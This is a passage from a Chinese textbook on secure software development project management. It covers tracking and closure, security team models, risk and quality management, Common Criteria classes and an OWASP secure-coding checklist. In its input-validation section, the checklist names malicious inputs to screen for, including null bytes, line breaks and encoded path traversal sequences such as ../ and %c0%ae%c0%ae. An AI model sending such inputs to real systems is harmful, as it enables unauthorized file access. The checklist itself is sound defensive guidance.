跟踪控制的实施贯穿项目全过程，是一个反馈过程。跟踪是项目控制的前提和条件，控制是项目跟踪的目的和服务对象。如图6-10所示，跟踪系统把项目计划的各种信息传递给控制系统，控制系统根据这些信息做出决策和命令，调整项目计划和执行。如此往复，始终跟踪和控制整个系统的执行过程。
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图6-10　跟踪和控制的关系

项目的跟踪控制过程一般可以分为三个步骤。

1）定期及时收集有关项目资料，了解项目的进展，衡量项目的实际绩效。收集并衡量项目实际绩效时，绩效指标选择非常重要，它在很大程度上决定了员工的工作目标。软件项目通常需要跟踪以下要素：规模、工作量、成本、关键资源、进度、技术活动、风险等。如果衡量绩效时，项目管理者强调进度而不注重质量，那么开发人员也会受此影响，更多地把精力放在项目进度上，忽视项目质量，不利于项目整体实施。

2）把项目实际绩效与计划绩效进行比较。项目的实际状态与计划状态完全吻合是小概率事件，多数情况下会存在偏差。在比较之前，需要确定偏差范围，超出这个范围就应引起项目管理者注意。在实施量化管理的高成熟度机构中，可借助控制图比较偏差。计划通常作为跟踪的标准。计划既可以是项目初期制定的总体计划，也可以是周报或二者的结合，周报实际上是一种短期计划和短期总结的结合。

3）如果实际绩效比计划差，应采取纠正措施，使项目返回预定轨道，同时也要修正不恰当的计划标准。经过偏差比较之后，如果估算的偏差在可以接受的范围内，项目管理者可以忽视该偏差；反之，则应采取措施来改进绩效。采取纠正措施时，应当评估纠正措施，以确保纠正措施使项目回到控制范围、进度和预算约束内。在项目控制过程中，问题越早发现，越好改正。

4.收尾阶段

在很多项目中，项目人员往往更重视项目的开始与过程，忽视了项目收尾工作。不成功项目的收尾工作是项目失败教训的总结，有助于提高项目管理水平。软件项目收尾包括最终产品验收、形成项目档案并总结项目教训等。

软件项目收尾的形式，可以根据项目的大小自由决定，可以采取召开发布会、表彰会、公布绩效评估等方式，必要时可以对项目进行收尾审计。收尾阶段包括项目收尾和合同收尾。项目收尾包括执行软件项目阶段收尾的各种文档工作，还包括准备合同收尾所需的采购完成手续和合同验收确认书，正式结束项目。合同收尾关注完成合同项的各种活动，包括未解决项的后续解决措施。

做好项目收尾工作，也需要在项目管理最后阶段做好项目管理的安全保障工作。收尾阶段涉及信息、硬件和软件的安全处置，应防止将敏感信息泄露给外部人员。


6.2.2　安全管理关键因素

软件安全开发过程好比一趟想要到达一个目的地为“安全”的列车，而安全开发项目管理则是这段路程中的“铁轨”，缺少这个“铁轨”，列车可能也会到达目的地，但是所花费的时间、成本等代价是不可估量的。软件安全开发过程的项目管理包括软件项目团队的安全管理、软件项目计划安全管理、软件项目监督及安全跟踪控制和软件项目安全开发风险管理、软件安全开发应急响应管理。

1.安全团队建设

软件项目团队包括所有的项目干系人。项目干系人是指参与项目和受项目活动影响的人，包括项目发起人、资助者、供应商、项目组成员、协助人员、客户、使用者、甚至是项目的反对人。建立合理的项目团队是项目成功的第一步，成功的项目团队管理是软件项目顺利实施的重要保证。软件项目团队管理的任务包括团队组织计划、团队人员获取和团队建设三个部分，如图6-11所示。
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图6-11　软件项目团队管理的任务

组织计划是确定、记录并分派项目角色和职能，对请示汇报关系进行识别、分配和归档。人员获取是指获得项目所需的人力资源（个人或集体）。团队建设既包括提高个人做出贡献的能力，也包括提高项目团队作为集体发挥作用的能力。个人的培养（管理能力和技术水平）是团队建设的基础，团队的建设是项目目标实现的关键。

软件产品安全与否，直接由这个项目中安全人员的水平决定。在项目启动阶段，就应该任命项目安全顾问，组建安全开发团队。安全团队对于保证项目安全开发的顺利进行起着关键作用。

·安全团队角色

根据软件安全开发周期，安全团队可以由六个部分组成：安全领导团队、需求分析团队、设计团队、编码团队、测试团队、部署评估团队。首先，会确定安全团队整体结构，其次每个团队都按照一套共同的标准与准则工作。团队之间沟通反馈顺畅，彼此职责明晰。

·安全团队职责

安全领导团队架构如图6-12所示。安全领导团队是整个团队的总指挥，负责各个团队之间的任务统筹分配、沟通等工作，防止出现团队之间工作交接不当，也负责项目整体安全方案的制定、实施与监督。需求分析团队设定安全目标，考虑产品提供的功能及用户如何安全的与产品交互。设计团队主要考虑对于软件设计和实现如何保护软件本身抵御外部攻击。编码团队着重关心如何避免代码中的安全问题，每个开发人员都需要遵循安全编码规范，使用最新的编译器和编译选项等。测试团队通过多种测试技术与手段，及时发现软件安全问题。部署和评估团队主要是提供相应的文档，指导用户如何安全的使用软件，评估软件运行的安全性。
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图6-12　安全团队

（1）CLASP模型

CLASP以角色及其职责为核心，选取30个特定的基于角色的活动，用于提升整个开发团队的安全意识，并针对这些活动给出了相应的指南、导则和检查列表。角色作为一个附加的视角构建活动集合，为活动的结束以及活动结果的质量负责。

CLASP的角色有项目经理、需求分析师、软件架构师、设计者、实施人员、集成和编译人员、测试者和测试分析师、安全审计员。对于每个角色的活动，CLASP描述了以下内容：

A.安全活动应该在什么时间、如何实施。

B.如果不进行这项安全活动，将会带来多大风险。

C.如果实施这项安全活动，估计需要多少成本。

（2）微软MSF团队

微软MSF（Microsoft Solution Framework，微软解决方案框架）团队模型是项目团队管理经验教训的总结，用于指导软件项目团队建设。

微软MSF团队角色和责任分配如下：

·在MSF团队小组内部，每个角色通过对小组本身负责（也对他们各自所属的组织负责）实现该角色的质量目标。在这种意义上，每个角色都对最终解决方案质量的一部分负责。

·小组成员之间共同承担职责（根据不同小组角色指派）。

·角色之间相互依赖，有以下两个原因：

·就其必要性而言，把每个角色的工作分隔开来是不可能的；

·如果每个角色都了解全局情况，那么小组的效率会更高。

从图6-13可以看出，MSF中每个子团队在项目中的作用和关注的问题分别对应着项目中不同的六个方面。它们每个子团队的角色都代表了对项目的一种视角，没有哪一个人或角色能完全代表所有的不同质量目标。在此，MSF把角色与责任结合起来了。

由于在软件项目中每一个方面的失败均会导致整个软件项目的失败，因而，MSF团队模型中，在工作层面上也没有上下级的关系。每个子团队都对最终的软件质量的一部分负责。子团队成员内部，对子团队本身负责，实现该角色的质量目标。角色之间相互依赖，相互合作。它们之间通过“沟通”机制相互共享项目信息。需要说明的是，这种“没有上下级的关系”是在“工作层面”的，不是架构组织。
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图6-13　MSF团队模型

沟通是解决不同目标的团队之间意见交汇从而达到一个更高更大的目标的前提，从图6-13可以看出，MSF团队建设模型的核心在于沟通。在软件安全开发项目管理过程中一般存在两个团队角色——开发团队和安全团队，只有这两个团队将目标融合在一起，才能达到开发出安全产品的目的。因此软件安全开发过程应该借鉴此模型来组织开发团队和安全团队。

2.风险管理

软件项目安全开发风险管理主要是识别潜在安全问题，策划应对风险的活动，必要时在整个项目生存周期中实施这些活动。软件项目安全开发风险管理可以增加项目成功的机率，使项目达到预期的结果。从项目进度、质量和成本目标看，项目管理与风险管理的目标是一致的，即通过风险管理减少风险对项目进度、质量、成本的影响，最终按照预期实现项目目标。从计划职能看，项目计划考虑的是未来，而未来存在不确定因素，风险管理的职能之一是减少项目整个过程中的不确定性，有利于计划的执行。

（1）软件项目管理的风险识别

风险管理工作应符合以下原则：一是风险管理创造和保护价值，软件开发阶段的风险管理致力于产品质量、开发进度等方面目标的达成与绩效提升；二是风险管理是所有人员共同参与的过程，不可分割，风险管理不是从团队中主要活动和过程中分离出来的一项孤立活动，而是管理职责的一部分，在改进其风险管理成熟度时，团队其他方面的管理成熟度也会同时改进；三是风险管理是透明的，参与人员广泛，同时考虑人员和文化因素，所有级别的决策者都应适当适时地参与风险管理，确保风险管理与当前重要问题保持相关，且不断更新；四是风险管理是定制的，并具有体系化、结构化的特点，风险管理与组织的外部和内部环境及风险状况一致，体系化、结构化的风险管理方法有助于提高效率，可以获得持续、可靠的结果；五是风险管理是动态的、反复的、响应变化的，应持续对风险进行监视，当发生外部和内部事件，或者环境和知识等变化时，要重新评估风险，及时处理新情况。

软件开发项目的每一个阶段都有明确的输入和输出信息，功能定义十分明确，其目的是避免项目风险的发生。当上一个阶段输出信息不符合下一个阶段的输入要求时，项目管理人员会立刻发现问题，并采取相应的弥补和纠正措施。

将软件开发项目的各个阶段的输入输出和潜在风险进行归纳总结，定性地识别出软件项目中的各项风险。表6-1列举了软件生命周期各阶段的风险因素。

表6-1　软件开发项目各阶段的风险因素举例
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但这种划分不是简单的归纳，而是揭示了软件开发项目与软件项目风险管理之间的一种关联关系。在软件生命周期的每一个阶段都有信息交换的过程，每一次的信息交换中都隐藏各类风险，而且这些风险是相互关联的，前一阶段中的风险可能在特定阶段结束时解除，也可能带入到下一个阶段中去。例如：在需求分析阶段双方对系统实现的功能有异议，那么这种风险可能在现场提交或项目验收阶段暴露出来，对项目的执行会带来很大的影响。

有效地防范风险是软件开发合同签订双方共同的愿望，在合作双方正常的状态下，双方都尽量规避各种风险，在这其中最重要的一点是做好信息沟通，由于沟通不畅或沟通工作做得不够造成的“风险信息不对称”是软件项目风险发生的主要原因之一。风险不但具有潜伏性，还具有传染性，在没有很好的风险应对方法之前，隔离风险以减少该风险对其他阶段的影响。

在整个软件开发过程中，有些风险与软件生命周期的阶段无关，而是与整个软件开发的项目管理全过程有关，例如成本风险、组织风险、系统风险和计划风险。与整个软件开发的项目管理全过程有关的风险称之为过程风险。

（2）软件项目管理的风险应对

在整个软件开发项目执行过程中，风险管理是对项目的风险进行识别、分析和控制的系统性过程。项目管理者通过识别、分析和应对项目风险，最小化风险可能造成的负面影响。在Steve Mclonnell编著的经典软件项目管理的快速软件开发中提出“风险管理是由风险评估与风险控制所组成的”，其中，风险控制包括风险管理计划、风险应对方案和风险监测。风险管理计划是对每一项风险进行处理，并确定每一项风险可能对软件项目造成的影响；风险应对计划对每一个风险制定详细的处理计划；风险监测对每一个应对计划的所有活动进行监视，也包括识别是否有新的风险发生，并将发现的问题反馈给风险处理流程。

软件开发项目中也要实施风险管理，是通用项目风险管理模型在软件开发项目中的应用。因此，软件开发项目也是组织、协调、监控风险的一种有效活动。一般来说，风险应对应该做好如下几个方面的工作。

首先，对风险应对计划实施可行性评估。风险应对计划的可行性评估目的是在组织内部统一思想，明确应对软件开发的目标、安全要求和任务。可行性评估必须分析风险应对计划在本组织贯彻执行的有效性，评估内容应包括人力、物力、财力和项目总成本是否能支持该计划的顺利实施。

其次，确定风险应对计划实施范围。每一个风险应对计划会涉及风险责任人、责任机构、解决方法和时间，其中的关键是人的问题。风险管理是在风险责任人和责任机构确定以后，使他们在充分认识风险的基础上承担起应有的责任，风险计划才能真正实施。

第三，跟踪风险应对计划的实施过程。风险应对计划要加强对整个计划的执行管理，经常举行项目例会，检查各部门的计划执行情况，评估并适当调整计划的偏差部分，通过保证每一个阶段性计划的正确执行来实现整个计划的预期实施目标。在软件开发项目的风险管理中，组织内每一个成员都有沟通需要和尊重需要。保证组织内部在风险应对计划的执行中能够保持信息畅通，建立信息交换平台，让每一个成员分享每一个有用的信息，这些信息可以是电子邮件、会议纪要、用户阶段性评价报告等。

第四，有效授权和领导风险管理。风险管理并不是一种简单的直接领导和指挥，在某种程度上不是靠一个人直接指挥和解决问题，风险管理涉及范围广，管理粒度细，控制难度大，因此在软件开发项目中应注重合理授权，将风险管理的职责尽可能往下延伸，并对每一个岗位授权，让他们知道该干什么、怎么干，风险管理才能有效实施。风险管理的目的就是要调动人的一切积极因素，让每一位员工自愿承担起克服风险的责任。

3.软件安全质量管理

自20世纪初期开始，质量管理理论的发展经历了一个不断完善的过程，这个过程主要包括质量检验、统计质量控制和全面质量管理三个发展阶段。质量检验是一种事后检查，可以鉴别出次品和废品，但并不能提高质量。统计质量控制的相关理论认为产品质量不是检验出来的，而是生产制造出来的，从而将质量控制从事后检验提前到制造阶段。全面质量管理理论将质量控制扩展到产品寿命循环的全过程，强调全体员工都参与质量控制，此后的质量理论又将质量控制从制造阶段进一步提前到设计阶段。

随着质量管理理论的不断发展，人们已经意识到质量本质上是在产品生命周期各个阶段实施相应的质量管理活动才得以逐渐形成的。因此，没有多视角的、面向产品全生命周期的质量管理，就很难保证产品质量。质量管理可以理解为一个组织以质量为中心，全员参与为基础，以不断提升用户满意程度为目标，而建立起来的一整套质量方针、目标与体系。软件质量管理实质上是软件组织为了满足用户和软件产品所有收益者需求实施的一系列管理方法、手段和活动。

（1）软件质量管理框架

相对于其他产品而言，软件产品有其自身的特殊性。例如，软件产品是一种经验产品，即消费者在购买时并不能明确地知道产品的质量，只有在使用一段时间之后才能知道其质量信息。因此，如何提高和度量软件质量就显得尤为重要。

从用户角度看，无论是工作质量还是设计质量、开发质量，最终都落实在软件产品质量上。对软件质量管理控制而言，需要关注参与者的工作质量，软件产品的设计质量和开发质量。无论是产品生命周期理论、质量管理理论，还是ISO 9000等标准，都强调软件开发的过程管理，通过加强过程管理提高最终产品的质量。

图6-14为软件质量管理框架。它体现了以软件产品生命周期为主线，实施全面质量管理的过程管理。在此过程中，围绕质量控制和全员参与两个维度，循环实施软件质量管理工作。软件产品生命周期主要明确了软件全面质量管理的时间线，参与方则强调了在软件生命整个周期，不同类别的主体都将在质量管理中承担不同的角色和任务，过程质量控制则着重说明了参与方在软件生命周期中实施质量管理工作的关键途径和方法。
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图6-14　软件质量管理框架

（2）软件安全质量管理措施

软件质量管理通过质量控制监视内部质量过程，排除可能存在的缺陷隐患，通过软件质量改进提高内部的质量管理能力，改善组织内部的质量过程，通过软件质量保证提供足够的信任证据，表明组织有能力满足用户的质量要求。软件安全质量管理应包含以下六个方面的措施。

·落实软件安全质量人员的职责

任何与软件开发、管理工作相关的人员都对软件安全质量产生影响，都要对其安全质量负责。软件安全质量人员的主要职责包括：制定软件安全质量管理计划；负责过程软件安全质量检查（类似于CMM中的质量保证）；参与软件安全技术评审；参与软件安全测试；等等。软件安全技术评审与软件安全测试关注的是产品质量而不是过程质量，尤其是发现软件在数据保密性、用户鉴别、访问控制以及系统易受攻击等方面的安全问题。软件安全质量人员除了过程检查之外，还要参加重要的技术评审和测试工作。

·制定软件安全质量计划

软件安全质量计划由项目核心成员和软件安全质量人员共同协商制定，主要由软件安全质量人员起草，由项目经理审批即可。该计划包括软件安全质量要素分析、质量与安全目标、人员与职责、过程检查计划、技术评审计划、安全测试计划、安全缺陷跟踪工具等。

其中，软件安全质量目标是根据各个质量要素给出的功能目标和安全目标，既要使用户感到满意，又要使开发方承受得起；过程检查计划要标明主要软件安全检查项、时间频度以及负责人；软件安全技术评审计划中记录待评审的工作成果以及评审负责人；安全测试计划是对软件成果进行功能性能测试以及安全性测试；安全缺陷跟踪工具说明本项目采取的缺陷跟踪工具和简要的使用约定。

·软件安全技术评审

软件安全技术评审的目的是尽早发现工作成果中的缺陷，并帮助开发人员及时消除缺陷，从而有效提高产品的质量。软件安全技术评审可以在软件开发过程的任何阶段执行，越早消除安全缺陷就越能降低开发成本，开发人员能够及时得到软件安全专家的帮助和指导，能更好地预防缺陷，一定程度上提高了软件安全开发生产效率。

软件安全技术评审有两种基本类型：正式技术评审和非正式技术评审。正式技术评审比较严格，需要举行评审会议，参加评审会议的人员比较多；非正式技术评审的形式比较灵活，通常在同伴之间开展，不必举行评审会议，评审人员比较少。对于软件安全方面的设计方案、实施过程以及软件成果，都应及时举行技术评审，以确保软件安全质量。

·软件安全测试

软件安全测试通常应当由独立测试组来承担，有条件的单位还可以请专业的测试团队来进行专项测试，如执行专项安全性测试。在实际工作中，软件安全技术评审也可以发现软件中的缺陷。软件安全测试需要运行软件来发现缺陷，因此，软件安全测试通常在软件开发到一定阶段之后开始，能及时发现在软件开发过程中程序员有意和无意带来的安全缺陷。

·软件安全过程检查

CMM和ISO 9001所述的软件质量保证，实质就是过程检查，即检查软件项目的“工作过程和工作成果”是否符合既定的规范。例如，机构制定了安全配置管理规范，但是在项目的实际开发过程中，许多开发人员并没有执行安全配置管理。开发时引入安全漏洞，必定对项目产生负面影响。如果软件安全质量人员在过程检查时发现了这个问题，那么他就有责任要求开发人员执行安全配置管理规范。如果开发人员不接受，那么安全质量人员就要向上级领导反映这个问题，直至消除隐患。

软件安全过程检查的要点是找出明显不符合安全规范的工作过程和工作成果，及时指导开发人员纠正问题。软件安全质量人员在执行过程检查的时候，如果发现问题，应该立即记录下来，另外需要确定主要检查项和检查或频度，切勿进行事无巨细的检查。

·使用缺陷跟踪工具

缺陷跟踪工具就是帮助项目成员记录和跟踪缺陷，一般有数据库支持，可以在网络环境下运行。一般跟踪工具的缺陷属性包括：缺陷编号与类型、缺陷状态、缺陷详细描述、缺陷严重程度、优先级和报告者。
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附录A　CC标准中的安全功能需求类与安全保障类

CC标准的核心思想之一是将信息系统的安全功能与安全保证相互独立，为了规范化安全需求，CC标准中定义了11种安全功能需求类和8种安全保障类。

11种安全功能需求类别如下。

（1）安全审计（FAU）

在识别、记录、存储和分析安全相关的活动时，不可能把所有可能的审计功能都启用，所以需要鉴别哪些活动需要是可审计的。

（2）通信/不可抵赖（FCO）

这类安全功能需求官方的名称是“通信”，但实际是说的不可抵赖。对于一些系统来说支持不可抵赖性是非常重要的。

（3）密码支持（FCS）

如果系统中用的信息加密，通过什么操作来加密、选用什么加密算法和密钥大小、怎样管理密钥等都是需要考虑的。

（4）用户数据保护（FDP）

这类需求在CC的安全功能需求族是一个大类。主要的思想是选取一种保护数据的策略（访问控制或信息流规则），然后用各种方法来实现这个策略，可能要支持离线存储、导入和导出，当在不同评估对象间传递用户数据时还要保证其完整性。一个很容易忽视的问题是残留信息的保护，因为攻击者可能恢复已删除的数据。

（5）标识和鉴别（FIA）

验证用户身份的过程叫作鉴别，一般通过用户输入密码的方式实现。可能需要限制鉴别的总次数（如三次密码都输入错误则限制登入）和鉴别过程中的反馈（如输入密码的显示用星号代替），还要限制用户在被鉴别之前可以在系统内做的事情。

（6）安全管理（FMT）

确定系统中哪些用户可以作为更可信的角色，如系统管理员，确定这些角色可以做哪些操作。

（7）隐私（FPR）

如果系统需要支持匿名、假名、不可链接性、不可观察性，需要确定是否有支持这些性质的条件（如系统管理员是否可以看到一个假名用户的真实身份？）。实现这一需求可能会和不可抵赖性发生冲突。

（8）TOE（评估对象）安全功能保护/自我保护（FPT）

如果TOE是可以被破坏的，那么它提供的安全功能都不值得了。许多情况下TOE必须提供一些自我保护的措施。

（9）资源利用（FRU）

系统可能需要提供一定的容错性、服务的优先级和资源分配方式。

（10）TOE访问（FTA）

在控制会话方面可能会出现很多问题，比如需要控制并发的会话的数量，需要自动地锁住或终止一个会话，让用户初始化一个会话锁。系统可能需要包含一套标准的警告标语，可以显示最后一个会话的登录信息（登录时间、地点），这样可以帮助用户检测入侵者。

（11）可信路径/信道

攻击者经常使用的一种把戏是使得屏幕显示不该显示的东西，所以我们有必要确认我们的通信路径是可信的，保证我们在运行我们想要的程序。

CC标准定义了8种安全保障类，以及预定义的保障需求——评估保障等级（Evaluate Assurance Levels，EAL）。EAL共有7个等级，从低到高依次是：功能测试级、结构测试级、系统测试和检查级、系统设计、测试和复查级、半形式化设计和测试级、半形式化验证的设计和测试级，以及形式化验证的设计和测试级。8种安全保障类别如下。

（1）保护轮廓评估（APE类）

PP评估要求证实PP是技术合理和内部一致的，并且，如果PP是基于一个或多个PP或者包，那么PP必须是这些PP或包的一个正确的实例化。PP适合作为编写ST或其他PP的基础，这些属性是必需的。

（2）安全目标评估（ASE类）

ST评估要求论证ST是合理和内在一致的，如果ST是基于一个或多个PP或者包，那么ST必须是PP或包的一个正确的实例化。ST作为TOE评估的基础，这些属性是必需的。

（3）开发（ADV类）

开发类的安全要求提供了TOE的相关信息。从这些信息中所获得的知识可作为执行TOE脆弱性分析和测试的基础，正如AVA和ATE类中所描述的那样。

（4）指导性文档（AGD类）

指导性文档类为所有用户角色提供了指南文档的要求。为了安全地准备和操作TOE，有必要描述所有有关TOE安全操作方面的内容，这个类同时也描述了无意的错误配置和操作TOE的情况。

（5）生命周期支持（ALC类）

生命周期支持是在开发和维护期间建立规则和对TOE的细化过程进行控制。如果安全分析和证据的产生均能够作为开发和维护活动的主要组成部分有规律地进行，那么将增强对TOE安全要求和TOE之间一致性的信心。

（6）测试（ATE类）

“测试”类包括四个族：覆盖（ATE_COV），深度（ATE_DPT），独立测试（例如由评估者执行的功能测试）（ATE_IND），功能测试（ATE_FUN）。测试能为TSF是否符合前面所述（功能规范，TOE设计及实现描述）提供保障。

（7）脆弱性评定（AVA类）

脆弱性评定类负责处理在TOE开发或者运行过程中引入可被利用脆弱性的可能性。

（8）组合（ACO类）

ACO“组合”类包括五个族。本族列出的保障要求，是为了提供确信一个组合TOE依靠过去评估过的软件、固件或硬件等组成部分所提供的安全功能是能够安全运行的信心。

安全保障类均对软件安全开发有重要指导作用。其中与安全开发密切相关的开发（ADV）类共包括6个族，开发（ADV）类族在不同级别和不同抽象形式上组织和表示TOE安全功能。

（1）安全架构（ADV_ARC）

本族的目的是让开发者提供对TSF安全架构的描述。允许额外提供的其他TSF证据对这些信息进行分析，这些信息将确保TSF达到期望的属性。安全架构描述支持隐含的声明，即通过检测TSF所能获得的TOE安全分析；如果没有合理的架构，则必须检查TOE全部的功能特性。

（2）功能规范（ADV_FSP）

本族提出了针对功能规范的要求，该规范描述了TSF接口（TSFI）。TSFI包括所有的通过外部实体（或者位于TSF之外TOE内部的主体）向TSF提供数据、接收来自于TSF的数据并且调用TSF的服务的方法。它并不描述TSF如何处理那些服务请求，也不描述当TSF调用运行环境的服务时的通信；TOE设计族（ADV_TDS）和依赖模块的依赖性族（ACO_REL）将分别描述这些内容。

（3）实现表示（ADV_IMP）

实现表示（ADV_IMP）族的功能是让开发者以评估者能够分析的形式来制定TOE的实现表示（并且在高级别中实现TOE）。在分析其他族（例如分析TOE设计）的活动中用实现表示来论证TOE符合其设计，以及为其他部分的评估（例如查找脆弱性）分析提供基础。实现表示应详细说明TSF的内部工作，可以包括软件代码、固件代码、硬件图表和/或IC硬件设计代码或者设计数据等。

（4）TSF内部（ADV_INT）

本族负责评估TSF的内部结构。内部结构合理的TSF容易实现并且可能导致脆弱性的缺陷也较少；因为无缺陷引入，也更加容易维护。

（5）安全策略模型（ADV_SPM）

本族目的是通过建立一个形式化的TSF安全策略模型，以及功能规范与安全策略模型之间的对应关系来提供额外的保障。为了保持内部一致性，安全策略模型期望能通过数学证明的方式来建立形式化的安全规则。

（6）TOE设计（ADV_TDS）

TOE的设计描述提供了与TSF描述的上下文，以及对TSF的详尽描述。随着保障要求的增加，在说明中提供的详细程度也随之增加。随着TSF规模和复杂性的增加，适合多级分解。设计要求的目的是提供信息（与给定的保障级别相称的），这样能够实现安全功能要求。


附录B　安全编码规范检查列表

安全编码规范检查列表是对程序员快速发现自己的代码中是否存在安全问题的利器。每个公司都会根据公司自身的技术特点来制定安全编码规范。这里附上OWASP组织制定的通用安全编码规范检查列表。

B.1　输入验证

·在可信系统（比如服务器）上执行所有的数据验证。

·识别所有的数据源，并将其分为可信的和不可信的。验证所有来自不可信数据源（比如数据库、文件流等）的数据。

·应当为应用程序应提供一个集中的输入验证规则。

·为所有输入明确恰当的字符集，比如UTF-8。

·在输入验证前，将数据按照常用字符进行编码（规范化）。

·丢弃任何没有通过输入验证的数据。

·确定系统是否支持UTF-8扩展字符集，如果支持，在UTF-8解码完成以后进行输入验证。

·在处理以前，验证所有来自客户端的数据，包括所有参数、URL、HTTP头信息（比如cookie名字和数据值）。确定包括了来自JavaScript、Flash或其他嵌入代码的post back信息。

·验证在请求和响应的报头信息中只含有ASCII字符。

·核实来自重定向输入的数据（一个攻击者可能重定向的目标直接提交恶意代码，从而避开应用程序逻辑以及在重定向前执行的任何验证）。

·验证正确的数据类型。

·验证数据范围。

·验证数据长度。

·尽可能采用“白名单”形式验证所有的输入。

·如果任何潜在的危险字符必须被作为输入，请确保执行了额外的控制，比如：输出编码、特定的安全API以及在应用程序中使用的原因。部分常见的危险字符包括：<>”’%（）&+\\’\””。

·如果您使用的标准验证规则无法验证下面的输入，那么它们需要被单独验证：

·验证空字节（%00）；

·验证换行符（%0d，%0a，\r，\n）；

·验证路径替代字符“点-点-斜杠”（../或..\）。如果支持UTF-8扩展字符集编码，验证替代字符：%c0%ae%c0%ae（使用规范化验证双编码或其他类型的编码攻击）。

B.2　输出编码

·在可信系统（比如服务器）上执行所有的编码。

·为每一种输出编码方法采用一个标准的、已通过测试的规则。

·通过语义输出编码方式，对所有返回到客户端的来自于应用程序信任边界之外的数据进行编码。HTML实体编码是一个例子，但不是在所有情况下都可用。

·除非对目标编译器是安全的，否则请对所有字符进行编码。

·针对SQL，XML和LDAP查询，语义净化所有不可信数据的输出。

·对于操作系统命令，净化所有不可信数据输出。

B.3　身份验证和密码管理

·除了那些特定设为“公开”的内容以外，对所有的网页和资源要求身份验证。

·所有的身份验证过程必须在可信系统（比如服务器）上执行。

·在任何可能的情况下，建立并使用标准的、已通过测试的身份验证服务。

·为所有身份验证控制使用一个集中实现的方法，其中包括利用库文件请求外部身份验证服务。

·将身份验证逻辑从被请求的资源中隔离开，并使用重定向到或来自集中的身份验证控制。

·将所有的身份验证控制应当安全的处理未成功的身份验证。

·所有的管理和账户管理功能至少应当具有和主要身份验证机制一样的安全性。

·如果您的应用程序管理着凭证的存储，那么应当保证只保存了通过使用强加密单向salted哈希算法得到的密码，并且只有应用程序具有对保存密码和密钥的表/文件的写权限（如果可以避免的话，不要使用MD5算法）。

·密码哈希必须在可信系统（比如服务器）上执行。

·只有当所有的数据输入以后，才进行身份验证数据的验证，特别是对连续身份验证机制。

·身份验证的失败提示信息应当避免过于明确。比如可以使用“用户名和/或密码错误”，而不要使用“用户名错误”或者“密码错误”。错误提示信息在显示和源代码中应保持一致。

·为涉及敏感信息或功能的外部系统连接使用身份验证。

·用于访问应用程序以外服务的身份验证凭据信息应当加密，并存储在一个可信系统（比如服务器）中受到保护的地方。源代码不是一个安全的地方。

·只使用HTTP Post请求传输身份验证的凭据信息。

·非临时密码只在加密连接中发送或作为加密的数据（比如一封加密的邮件）。通过邮件重设临时密码可以是一个例外。

·通过政策或规则加强密码复杂度的要求（比如要求使用字母、数字和/或特殊符号）。身份验证的凭据信息应当足够复杂以对抗在其所部署环境中的各种威胁攻击。

·通过政策和规则加强密码长度要求。常用的是8个字符长度，但是16个字符长度更好，或者考虑使用多单词密码短语。

·输入的密码应当在用户的屏幕上模糊显示（比如在Web表单中使用“password”输入类型）。

·当连续多次登录失败后（通常情况下是5次），应强制锁定账户。账户锁定的时间必须足够长，以阻止暴力攻击猜测登录信息，但是不能长到允许执行一次拒绝服务攻击。

·密码重设和更改操作需要类似于账户创建和身份验证的同样控制等级。

·密码重设问题应当支持尽可能随机的提问（比如“最喜爱的书”是一个坏的问题，因为《圣经》是最常见的答案）。

·如果使用基于邮件的重设，只将临时链接或密码发送到预先注册的邮件地址。

·临时密码和链接应当有一个短暂的有效期。

·当再次使用临时密码时，强制修改临时密码。

·当密码重新设置时，通知用户。

·阻止密码重复使用。

·密码在被更改前应当至少使用了一天，以阻止密码重用攻击。

·根据政策或规则的要求，强制定期更改密码。关键系统可能会要求更频繁的更改。更改时间周期必须进行明确。

·为密码填写框禁用“记住密码”功能。

·用户账号的上一次使用信息（成功或失败）应当在下一次成功登录时向用户报告。

·执行监控以确定针对使用相同密码的多用户账号攻击。当用户ID可以被得到或被猜到时，该攻击模式用来绕开标准的锁死功能。

·更改所有厂商提供的默认用户ID和密码，或者禁用相关账号。

·在执行关键操作以前，对用户再次进行身份验证。

·为高度敏感或重要的交易账户使用多因子身份验证机制。

·如果使用了第三方身份验证的代码，仔细检查代码以保证其不会受到任何恶意代码的影响。

B.4　会话管理

·使用服务器或者框架的会话管理控制。应用程序应当只识别有效的会话标识符。

·会话标识符必须总是在一个可信系统（比如服务器）上创建。

·会话管理控制应当使用通过审查的算法以保证足够的随机会话标识符。

·为包含已验证的会话标识符的cookie设置域和路径，以为站点设置一个恰当的限制值。

·注销功能应当完全终止相关的会话或连接。

·注销功能应当可用于所有受身份验证保护的网页。

·在平衡的风险和业务功能需求的基础上，设置一个尽量短的会话超时时间。通常情况下，应当不超过几个小时。

·禁止连续的登录并强制执行周期性的会话终止，即使是活动的会话。特别是对于支持富网络连接或连接到关键系统的应用程序。终止时机应当可以根据业务需求调整，并且用户应当收到足够的通知以减少带来的负面影响。

·如果一个会话在登录以前就建立，在成功登录以后，关闭该会话并创建一个新的会话。

·在任何重新身份验证过程中建立一个新的会话标识符。

·不允许同一用户ID的并发登录。

·不要在URL、错误信息或日志中暴露会话标识符。会话标识符应当只出现在HTTP cookie头信息中。比如，不要将会话标识符以GET参数进行传递。

·通过在服务器上使用恰当的访问控制，保护服务器端会话数据免受来自服务器其他用户的未授权访问。

·生成一个新的会话标识符并周期性地使旧会话标识符失效（这可以缓解那些原标识符被获得的特定会话劫持情况）。

·在身份验证的时候，如果连接从HTTP变为HTTPS，则生成一个新的会话标识符。在应用程序中，推荐持续使用HTTPS，而非在HTTP和HTTPS之间转换。

·为服务器端的操作执行标准的会话管理，比如，通过在每个会话中使用强随机令牌或参数来管理账户。该方法可以用来防止跨站点请求伪造攻击。

·通过在每个请求或每个会话中使用强随机令牌或参数，为高度敏感或关键的操作提供标准的会话管理。

·为在TLS连接上传输的cookie设置“安全”属性。

·将cookie设置为HttpOnly属性，除非在应用程序中明确要求了客户端脚本程序读取或者设置cookie的值。

B.5　访问控制

·只使用可信系统对象（比如服务器端会话对象）以做出访问授权的决定。

·使用一个单独的全站点部件以检查访问授权。这包括调用外部授权服务的库文件。

·安全的处理访问控制失败的操作。

·如果应用程序无法访问其安全配置信息，则拒绝所有的访问。

·在每个请求中加强授权控制，包括：服务器端脚本产生的请求，“includes”和来自象AJAX和FLASH那样的富客户端技术的请求。

·将有特权的逻辑从其他应用程序代码中隔离开。

·限制只有授权的用户才能访问文件或其他资源，包括应用程序外部的直接控制。

·限制只有授权的用户才能访问受保护的URL。

·限制只有授权的用户才能访问受保护的功能。

·限制只有授权的用户才能访问直接对象引用。

·限制只有授权的用户才能访问服务。

·限制只有授权的用户才能访问应用程序数据。

·限制通过使用访问控制来访问用户、数据属性和策略信息。

